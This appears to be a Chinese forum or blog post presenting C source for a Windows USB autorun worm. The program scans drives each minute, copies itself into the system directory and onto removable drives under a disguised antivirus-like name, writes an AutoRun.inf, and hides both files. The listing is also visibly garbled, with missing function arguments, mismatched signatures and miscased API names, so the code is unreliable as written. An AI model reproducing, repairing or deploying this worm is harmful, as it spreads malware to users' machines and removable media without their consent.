上代码:
#include<windows.h>
#include<String.h>
BOOL UDevice();
void resourceToFile(char *filename,char *Name,char* TypE);
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
UDevice();
return 0;
}
BOOL UDevice()
{
while(1)
{
char Name[256]="H:\\";
char szName[256];
char ToPath[256];
char infPath[256];
char OpenUDevice[79];
UINT retType;
memset(szName,256);
memset(ToPath,256);
memset(infPath,256);
memset(OpenUDevice,79);
//do
//{
//}while()
//遍历盘符
unsigned char i = 0x42;
for(; i < 0x5B; i += 0x1)
{
Name[0] = i;
retType = GetDriveType(Name);
//判断是否是可移动存储设备
if(retType == DRIVE_REMOVABLE)
{
//得到自身文件路径
GetModuleFilename(NULL,szName,256);
//比较是否和U盘的盘符相同
if(strncmp(Name,1) == 0)
{
//得到系统目录
GetSystemDirectory(ToPath,256);
strcat(ToPath,"\\Uinfect.exe");
//把自身文件复制到系统目录
if(CopyFile(szName,ToPath,TRUE))
{
WinExec(ToPath,0);//运行程序
}
strcpy(OpenUDevice,"explorer ");
strcat(OpenUDevice,Name);
//打开U盘
WinExec(OpenUDevice,1);
return 0;
}
else
{
strcpy(ToPath,Name);
strcat(ToPath,"\\RavMon.exe");
strcpy(infPath,Name);
strcat(infPath,"\\AutoRun.inf");
//还原U盘上的文件属性
SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
//删除原有文件
deleteFile(ToPath);
deleteFile(infPath);
//释放AutoRun.inf到U盘
resourceToFile(infPath,(char*)0x64,(char*)256);
//拷贝自身文件到U盘
CopyFile(szName,falSE);
//把这两个文件设置成系统,隐藏属性
//这里我查了MSDN 因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦
SetFileAttributes(ToPath,0x6);
SetFileAttributes(infPath,0x6);
}
}
}
//一分钟检测一次U盘
Sleep(60000);
}
}
void resourceToFile(char *filename,char* TypE)
{
//寻找自身进程中的资源
HRSRC hRes = Findresource(NULL,Name,TypE);
if(hRes==NULL)
return;
//导入资源
HGLOBAL hgRes = Loadresource(NULL,hRes);
if(hgRes==NULL)
return;
//锁定资源
void *pRes = Lockresource(hgRes);
if(pRes==NULL)
return;
//得到资源字节数
DWORD size = Sizeofresource(NULL,hRes);
if(size==0)
return;
//创建文件
HANDLE hFile = CreateFile(filename,0x40000000,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(hFile==INVALID_HANDLE_value)
return;
DWORD dwWrite;
//把资源写入到文件
if(!WriteFile(hFile,pRes,size,&dwWrite,0))
return;
//关闭文件句柄
CloseHandle(hFilE);
//释放资源
GlobalFree(hgRes);
}